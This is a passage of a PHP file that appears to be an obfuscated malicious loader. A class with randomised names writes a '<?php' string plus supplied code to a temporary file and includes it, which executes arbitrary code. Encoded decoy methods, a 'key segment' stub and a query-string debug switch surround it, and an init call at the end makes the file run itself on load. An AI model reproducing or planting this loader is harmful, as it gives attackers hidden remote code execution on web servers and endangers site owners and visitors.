echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
public function pubsmbuQ93() {
// Public method 3
$jv3 = str_rot13('ebgHcdSF14');
$buf = base64_decode('ZGF0YW5lY2NxSzU5');
return 'valgVsJ89';
}
private function kmilCkuf53() {
// Key segment 3
$tmp = 4787;
return base64_decode('ZjhP');
}
}
LoaderRErkNq19183::init976();
// EOF